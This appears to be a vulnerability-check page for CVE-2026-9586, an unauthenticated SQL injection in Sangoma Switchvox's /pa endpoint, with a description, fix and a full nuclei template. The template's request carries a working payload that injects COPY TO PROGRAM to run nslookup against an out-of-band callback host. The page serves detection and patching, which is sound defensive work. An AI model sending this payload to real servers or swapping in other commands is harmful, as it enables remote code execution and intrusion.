CVE-2026-9586· sangoma / switchvox· CWE-89
Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection
Exploited in the wild. Listed by CISA on 2026-09-02; known to be used by ransomware.
Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.
Impact
An unauthenticated remote attacker can achieve full remote code execution on the Switchvox server by injecting SQL via the PhoneIP XML field, leveraging PostgreSQL superuser privileges to execute arbitrary OS commands via COPY TO PROGRAM.
Fix
Upgrade Sangoma Switchvox to version 8.4.0.2 or later which parameterizes the SQL query and validates the PhoneIP input.
How to confirm it
Send: POST /pa
Positive when: contains in interactsh_protocol "dns" AND contains "<html><body></body></html>"Run it with nuclei: nuclei -id CVE-2026-9586 -u <target>
The full check
id: CVE-2026-9586
info:
name: Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection
author: DhiyaneshDk
severity: critical
description: |
Sangoma Switchvox before version 8.4.0.2 contains an unauthenticated SQL injection vulnerability in the /pa endpoint (PhoneAppsHandler.pm). The PhoneIP field extracted from an XML POST body is concatenated directly into an unparameterized PostgreSQL query that runs as a database superuser. An attacker can break out of the single-quoted SQL string context and leverage PostgreSQL COPY TO PROGRAM to execute arbitrary operating system commands without authentication.
impact: |
An unauthenticated remote attacker can achieve full remote code execution on the Switchvox server by injecting SQL via the PhoneIP XML field, leveraging PostgreSQL superuser privileges to execute arbitrary OS commands via COPY TO PROGRAM.
remediation: |
Upgrade Sangoma Switchvox to version 8.4.0.2 or later which parameterizes the SQL query and validates the PhoneIP input.
reference:
- https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2026-9586
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-9586
epss-score: 0.18979
epss-percentile: 0.97325
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
shodan-query: http.html:"switchvox"
fofa-query: body="switchvox"
vendor: sangoma
product: switchvox
tags: cve,cve2026,sangoma,switchvox,sqli,rce,oast,vkev,vuln,kev
http:
- raw:
- |
POST /pa HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<request><PhoneIP>10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nslookup {{interactsh-url}}'--</PhoneIP><command>tel_notify</command></request>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "<html><body></body></html>"References
- https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2026-9586
Use this check only on systems you are authorised to test. Where the data comes from